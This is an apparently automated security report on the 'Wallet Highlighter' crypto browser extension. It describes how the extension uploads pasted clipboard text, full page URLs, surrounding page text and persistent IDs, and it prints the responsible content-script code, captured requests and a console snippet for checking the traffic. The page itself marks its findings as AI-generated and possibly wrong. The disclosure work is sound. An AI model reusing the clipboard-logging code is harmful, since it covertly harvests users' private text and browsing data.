Is Wallet Highlighter - Crypto Fraud & Risk Tool safe?
Wallet Highlighter - Crypto Fraud & Risk Tool is high risk. We observed the extension send text pasted into a plain web page, with the page URL and a persistent client ID, to api.wallethighlighter.com. This happens when the text holds no wallet address or email.…
Who publishes itCRGWH Management - no other listings under this identity, 1 shared hostname
CRGWH Management - no other listings under this identity, 1 shared hostname
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Extension sends pasted text to api.wallethighlighter.com on every site
We observed the extension send text pasted into a plain web page, with the page URL and a persistent client ID, to api.wallethighlighter.com.
This happens when the text holds no wallet address or email.
What actually happens
You paste text into any web page, or click an element labelled copy.
If the text has no wallet address or email, the extension posts it to api.wallethighlighter.com.
The POST also carries the page URL and a client ID.
Captured request
200 OK
- Content-Type
- application/json
{ "clientId": "<persistent client id>", "source": "paste", "text": "<planted marker value>", "length": 22, "truncated": false, "url": "https://en.wikipedia.org/wiki/Bitcoin"}Fields in the clipboard-log request
- Pasted textMeeting notes: call back Dana about the invoice
The text you pasted or copied, up to 5000 characters.
- Page addresshttps://en.wikipedia.org/wiki/Bitcoin
The full address of the page you were on.
- Client IDb7e2c1d4-58a9-4f0e-9c31-6a2d8e47f015
A stored identifier that links these events across visits.
- Sourcepaste
Whether the text came from a copy or a paste.
The code that does this
Paste handler and the upload branch
Paste and click listeners (readable form)
contentScript.bundle.jsdocument.addEventListener('paste', (e) => { const text = e.clipboardData?.getData('text/plain') ?? ''; handleClipboard(text, 'paste'); // Sf}, { capture: true, passive: true });// Click on any element whose class/id/aria-label/title contains "copy"// either takes data-clipboard-text directly or reads the clipboard after 300ms.Branch that sends text when no address-like token is found
contentScript.bundle.jsasync function scanClipboard(text, source) { // kf const tokens = extractAddressLikeTokens(text); // _f if (!tokens.length) { uploadClipboardText(text, source); // cf -> POST /v1/clipboard-log return; } // otherwise: risk-lookup path (separate claims)}async function uploadClipboardText(raw, source) { const text = raw.trim(); if (!text || text === lastSent[source]) return; lastSent[source] = text; const truncated = text.length > 5000; await fetch(API + '/v1/clipboard-log', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ clientId: await getClientId(), source, text: truncated ? text.slice(0, 5000) : text, length: text.length, truncated, url: window.location.href }) });}Where the clipboard text goes
- api.wallethighlighter.com
Receives the clipboard-log POST; also the extension's wallet risk-lookup API.
Wallet Highlighter sends the page URL and nearby text with every wallet check
On every page, Wallet Highlighter's risk lookup sends the full page URL and up to 100 characters of nearby page or input text, not just the wallet address.
A planted wallet and marker string both left in the request during testing.
What actually happens
You browse to any webpage that contains a crypto wallet address or email, anywhere in the page text or a form field.
No interaction with the extension is required; the content script runs on every site.
The extension sends that wallet along with the page's full URL and nearby page or form text to its own risk-scoring server.
This runs automatically on page load and again whenever the page's content changes, with no prompt.
Fields sent in every risk-lookup request
- Wallet address0x71C7656EC7ab88b098defB751B7401B5f6d8976F
The crypto wallet address you're checking. Sending this matches the extension's stated risk-lookup purpose.
- Full page URLhttps://en.wikipedia.org/wiki/Bitcoin?ref=aff-9182
The exact page you were on, including query-string parameters, sent even though a risk score only needs the wallet.
- Nearby page text<div id="payment-note"> Please send the payment to my wallet 0x71C7656EC7ab88b098defB751B7401B5f6</div>
Up to 100 characters of text from the page or a nearby form field, which can include whatever is written near the address.
- Device identifiera3f1c9e2-8b4d-4e91-9c3a-7d2f5b1e6c40 (illustrative)
A persistent ID that ties every risk lookup, on every site, back to the same browser.
- Site hashefcb5e7c26d69553cab9ec280c40bba8b66f24aa3bdffae200e54cbfa87f05fc (illustrative)
A hash of the site's origin, sent in addition to the full URL above rather than instead of it.
Captured request
- Content-Type
- application/json
{ "domainHash": "...", "wallets": [ "0x71C7656EC7ab88b098defB751B7401B5f6d8976F" ], "siteUrl": "https://en.wikipedia.org/wiki/Bitcoin?canary_query=CANARY9182", "userID": "...", "contexts": { "0x71C7656EC7ab88b098defB751B7401B5f6d8976F": [ "...<div id=\"canary-wallet-context\"> Please send the payment CANARY_CONTEXT_MARKER_9182 to my wallet 0x71C7656EC7ab88b098defB751B7401B5f6</div>..." ] }}The code that does this
Building the request: full URL and ancestor-element text alongside the wallet
Request body construction
content/utils.ts:getRiskDetailsFromApiasync function getRiskDetailsFromApi(domainHash, wallets, contexts) { if (!domainHash || !wallets || !wallets.length) return null; try { const siteUrl = window.location.href; const userID = await getOrCreateUserId(); if (userID === undefined) throw new Error("userID cannot be undefined"); const response = await fetch(RISK_API_URL, { method: "POST", body: JSON.stringify({ domainHash, wallets, siteUrl, userID, contexts }), headers: { "Content-Type": "application/json" } }); return await response.json(); } catch (err) { console.error("Error getting colors", err); return null; }}Ancestor-context collector
content/index.ts:getNearestContextfunction getNearestContext(element) { const ancestors = []; for (let node = element; node; node = node.parentElement) ancestors.push(node); const describe = (el) => { const tag = el.tagName.toLowerCase(); const id = el.id ? ` id="${el.id}"` : ""; const classes = Array.from(el.classList).filter(c => c !== "blackworks-highlighted"); const cls = classes.length ? ` class="${classes.join(" ")}"` : ""; if (tag === "meta") { const attrs = Array.from(el.attributes).map(a => `${a.name}="${a.value}"`).join(" "); return `<meta ${attrs} />`; } const isFormField = (tag === "textarea" || tag === "input") && el.value; const text = isFormField ? ` ${el.value.trim().slice(0, 100).replace(/\s+/g, " ")}` : (tag !== "html" && tag !== "body" && tag !== "head" && el.innerText) ? ` ${el.innerText.trim().slice(0, 100).replace(/\s+/g, " ")}` : ""; return `<${tag}${id}${cls}>${text}</${tag}>`; }; const reversed = ancestors.reverse(); const closest3 = reversed.slice(0, 3).map(describe); const farthest5 = reversed.slice(-5).map(describe); return [...closest3, "....", ...farthest5];}Where the data ends up
- api.wallethighlighter.com
Wallet Highlighter's own backend. Receives every wallet/email risk lookup plus the full page URL and nearby page text from every site you visit.
Reproduce it yourself
Paste into the DevTools console before visiting a page with a wallet address to see the exact fields Wallet Highlighter sends off your device.
- A Chromium-based browser with the extension installed
(function () { const target = "wallethighlighter.com/v1/"; const originalFetch = window.fetch; window.fetch = function (input, init) { const url = typeof input === "string" ? input : (input && input.url); if (url && url.includes(target) && init && init.body) { try { const body = JSON.parse(init.body); console.log("[wallet-highlighter-capture-check] outgoing request to", url); console.log(" siteUrl sent:", body.siteUrl); console.log(" contexts sent:", body.contexts); console.log(" full body:", body); } catch (e) { console.log("[wallet-highlighter-capture-check] outgoing request to", url, "raw body:", init.body); } } return originalFetch.apply(this, arguments); }; console.log("[wallet-highlighter-capture-check] fetch monitor installed. Now interact with a page containing a wallet address.");})();- 1Open DevTools > Console on any page.
- 2Paste and run the script.
- 3Reveal a wallet address on the page or in an input field.
- 4It logs the outgoing request's URL and body.
Hovered wallet and email addresses sent to PostHog analytics
Hovering over highlighted wallet/email addresses batches them into a popup_on_highlighted_addresses event sent to us.i.posthog.com, carrying a persistent random user ID that links page-derived address data to a stable install.
What actually happens
The user moves the pointer over a highlighted wallet or email address.
The extension batches the detected address values and sends them in a PostHog analytics event tied to a persistent user ID.
Captured request
Fields in the request
- Highlighted Wallet/Email Address0x742d35cc6634c0532925a3b844bc454e4438f44e (illustrative)
This page-derived value can reveal which wallet or email address the user hovered over while browsing.
- Persistent extension user IDa3f91c2e7b4d8a6f5c0e9d12b7a4c8f0 (illustrative)
This storage-backed identifier can link multiple analytics events from the same browser install.
